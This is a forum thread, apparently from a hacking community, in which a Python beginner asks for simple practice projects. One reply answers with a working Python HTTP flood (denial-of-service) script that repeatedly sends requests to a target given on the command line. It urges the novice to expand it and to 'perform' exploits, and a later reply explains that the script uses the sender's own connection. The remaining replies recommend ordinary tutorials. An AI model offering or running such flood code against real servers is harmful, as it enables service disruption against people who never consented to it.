Login Register






Python assignment? filter_list
Author
Message
Python assignment? #1
Hey people, I just made my first program in python as you probably saw in another thread. I am VERY new with it, and I kinda ran out of ideas of what to do. I would like to know if you guys have any programs you think I should make. These would need to be VERY basic (like 40 lines or less). The program that I made was just something that said "Do you want to know date,time or both?" then you reply and it told you. So it is very basic. Please let me know in a reply to this thread! Smile

Reply

RE: Python assignment? #2
Code:
import socket, sys, os print "[ Attacking " + sys.argv[1] + " ... ]" print "injecting " + sys.argv[2]; requestsToSend = int(raw_input("How many times would you like to flood?: ")) def HTTPFlood(): #pid = os.fork() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock .connect((sys.argv[1], 80)) print "Flooding..." sock.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n") sock.send("Host: " + sys.argv[1] + "\r\n\r\n"); sock.close() for i in range(1, requestsToSend): HTTPFlood()

Thats an example of a DoS script in Python. If you wanted you could try and make some type of stress tester in it. Also look up some exploits and try and perform them in python.
[username], need some help?, PM me.
[Image: kjKks6Y.png]

Reply

RE: Python assignment? #3
Hmm..I cant even understand this :p
How does this even work? does it use my connection?

Reply

RE: Python assignment? #4
Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Reply

RE: Python assignment? #5
(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?

Reply

RE: Python assignment? #6
(11-26-2012, 08:03 PM)LightX Wrote: Hey people, I just made my first program in python as you probably saw in another thread. I am VERY new with it, and I kinda ran out of ideas of what to do. I would like to know if you guys have any programs you think I should make. These would need to be VERY basic (like 40 lines or less). The program that I made was just something that said "Do you want to know date,time or both?" then you reply and it told you. So it is very basic. Please let me know in a reply to this thread! Smile

I have a book called violent python if you want it! Just message me if you want it Smile
[username], can you please open the curtain a little bit? I can't see inside from the bushes :/ Thank you!

Reply

RE: Python assignment? #7
(01-07-2013, 07:30 PM)LightX Wrote:
(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?

You are welcome Smile
Java is cool, but Python is my favorite Smile
Look at www.thenewboston.com , bucky has made a great java tutorials there.
Also CBTNuggets has a very very good Java tutorials but they will cost you some money

Reply

RE: Python assignment? #8
(01-07-2013, 08:16 PM)emad.shaaban92 Wrote:
(01-07-2013, 07:30 PM)LightX Wrote:
(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?

You are welcome Smile
Java is cool, but Python is my favorite Smile
Look at www.thenewboston.com , bucky has made a great java tutorials there.
Also CBTNuggets has a very very good Java tutorials but they will cost you some money

Thank you very much. +rep for you Smile

Reply

RE: Python assignment? #9
(01-08-2013, 08:05 AM)LightX Wrote:
(01-07-2013, 08:16 PM)emad.shaaban92 Wrote:
(01-07-2013, 07:30 PM)LightX Wrote:
(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?

You are welcome Smile
Java is cool, but Python is my favorite Smile
Look at www.thenewboston.com , bucky has made a great java tutorials there.
Also CBTNuggets has a very very good Java tutorials but they will cost you some money

Thank you very much. +rep for you Smile

You are welcome bro Smile
If you need any help regarding Java or Python just let me know Smile

Reply

RE: Python assignment? #10
@MyDoSScriptPost
It connects via HTTP request and yes it uses your own internet connection.
[username], need some help?, PM me.
[Image: kjKks6Y.png]

Reply